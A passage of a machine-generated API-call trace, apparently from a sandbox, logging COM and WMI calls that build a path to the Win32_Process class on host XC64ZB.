Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.984] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0122.984] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.984] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.985] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2c80) returned 0x0 [0122.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2c80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.985] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2c80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b02a0) returned 0x0 [0122.985] WbemDefPath:IUnknown:Release (This=0x1b4d2c80) returned 0x0 [0122.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b02a0) returned 0x0 [0122.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.985] WbemDefPath:IUnknown:AddRef (This=0x1b4b02a0) returned 0x3 [0122.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2c00) returned 0x0 [0122.986] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2c00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.986] WbemDefPath:IUnknown:Release (This=0x1b4d2c00) returned 0x3 [0122.986] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.986] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.986] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x2 [0122.986] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x1 [0122.986] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.986] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b02a0) returned 0x0 [0122.986] WbemDefPath:IUnknown:AddRef (This=0x1b4b02a0) returned 0x3 [0122.986] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x2 [0122.986] WbemDefPath:IWbemPath:SetText (This=0x1b4b02a0, uMode=0x4, pszPath="") returned 0x0 [0122.986] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.986] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.986] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b02a0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0122.986] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b02a0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0122.986] WbemDefPath:IWbemPath:SetServer (This=0x1b4b02a0, Name="XC64ZB") returned 0x0 [0122.986] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.986] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0122.986] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0122.986] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.987] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2c20) returned 0x0 [0122.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2c20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0122.987] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2c20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0660) returned 0x0 [0122.987] WbemDefPath:IUnknown:Release (This=0x1b4d2c20) returned 0x0 [0122.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0660) returned 0x0 [0122.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0122.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0122.988] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0122.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0122.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0122.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2d40) returned 0x0 [0122.988] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2d40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.988] WbemDefPath:IUnknown:Release (This=0x1b4d2d40) returned 0x3 [0122.988] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0122.988] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0122.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0122.988] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0122.988] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0122.988] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0122.988] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.988] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0660) returned 0x0 [0122.988] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0122.988] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0122.988] WbemDefPath:IWbemPath:SetText (This=0x1b4b0660, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0122.988] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.988] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0122.988] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0122.988] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0122.988] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b02a0) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0122.989] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b02a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0122.989] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b02a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b02a0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0122.989] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b02a0, Name="Win32_Process") returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b02a0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b02a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0122.989] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0122.989] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0122.989] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0122.989] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0122.989] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.990] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b48a890) returned 0x0 [0122.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48a890, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0122.990] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48a890, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4afbe0) returned 0x0 [0122.990] WbemDefPath:IUnknown:Release (This=0x1b48a890) returned 0x0 [0122.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4afbe0) returned 0x0 [0122.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0122.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0122.990] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0122.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0122.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0122.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b48a930) returned 0x0 [0122.991] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48a930, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.991] WbemDefPath:IUnknown:Release (This=0x1b48a930) returned 0x3 [0122.991] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0122.991] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0122.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0122.991] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0122.991] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0122.991] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0122.991] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0122.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4afbe0) returned 0x0 [0122.991] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0122.991] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0122.991] WbemDefPath:IWbemPath:SetText (This=0x1b4afbe0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0122.991] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.991] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0122.991] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.991] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0122.991] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: 